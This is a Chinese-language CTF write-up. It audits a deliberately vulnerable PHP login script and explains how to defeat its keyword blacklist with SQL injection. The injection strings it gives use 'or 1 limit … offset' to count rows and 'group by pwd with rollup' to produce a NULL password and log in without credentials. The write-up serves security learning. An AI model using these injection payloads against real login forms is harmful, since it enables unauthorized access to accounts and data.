12.因缺思汀的绕过

分析:
先查看页面源代码,收集信息:
看来这又是一道代码审计:
<?php
error_reporting(0);
if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
echo '<form action="" method="post">'."<br/>";
echo '<input name="uname" type="text"/>'."<br/>";
echo '<input name="pwd" type="text"/>'."<br/>";
echo '<input type="submit" />'."<br/>";
echo '</form>'."<br/>";
echo '<!--source: source.txt-->'."<br/>";
die;
}
function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){#判断是否为数组
$StrValue=implode($StrValue);#如果是数组,则连接成字符串
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
#只要匹配到就是exciting!/匹配到一次就停/匹配方式就是正则
print "水可载舟,亦可赛艇!";
exit();
}
}
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
#foreach 可以遍历数组与对象,它会把当前单元的键名也会在每次循环中被赋给变量 $key,
#值赋给变量$val,
AttackFilter($key,$value,$filter);
}
$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql); #执行语句
if (mysql_num_rows($query) == 1) { #该函数返回一个整数,表示记录中有多少行数据
$key = mysql_fetch_array($query);
#mysql_fetch_array() 函数从结果集中取得一行作为关联数组,第二个参数,(MYSQL_BOTH - 默认)。
#同时产生关联和数字数组
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";#很明显,这是重点
}else{
print "亦可赛艇!";
}
}else{
print "一颗赛艇!";
}
mysql_close($con);
?>
总结:
这里有三层限制,绕过这三层限制就可以得到flag
0X00
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
在第一层的filter里面就过滤了常用的SQL关键词,所以常规的SQL 注入就不行了。如果输入了filter里面的语句,网页返回“水可载舟,亦可赛艇!”
0X01
if (mysql_num_rows($query) == 1) {
//返回结果集中行的数目
$key = mysql_fetch_array($query);
第二层是限制从数据库返回的数据必须是一行,在满足第一层条件的情况下可以使用 limit 的返回来确定数据库中总共有几行数据。
注意它的查询语句是 $sql = select * from interest where uname = ‘{$_POST[‘uname’]}’于是构造:
1' or 1 limit 1 offset 0#
1' or 1 limit 1 offset 1#
1' or 1 limit 1 offset 2#
发现2#时返回“一颗赛艇!” 其他都是“亦可赛艇!”———–说明数据库只有两条信息
举例解析:
1' or 1 含义如下:
Group by with rollup 会在最后多计算一个总数(更多参考:https://blog.csdn.net/qq_42254088/article/details/81904819)
注:with rollup 与group by一起使用,可以获得额外的行,提供了更高一层的求和结果。group by 子句:代表分组
0X02
$key['pwd'] == $_POST['pwd']
接下来想办法绕过第三层,这里是个if判断,只要为true 就可以过,于是可以利用group by with rollup来绕过,用with rollup 来获得NULL值,然后在pwd里不写值,if就为true了。
构造: 1' or 1 group by pwd with rollup limit 1 offset 2#
(注:这里为什么用2是因为,在前面的测试中我们知道interest表有两行数据,那么利用1' or 1 group by pwd with rollup 又得到了一个pwd为null的额外的行,只要我们密码为空,即可查询成功, null==空字符串 为true)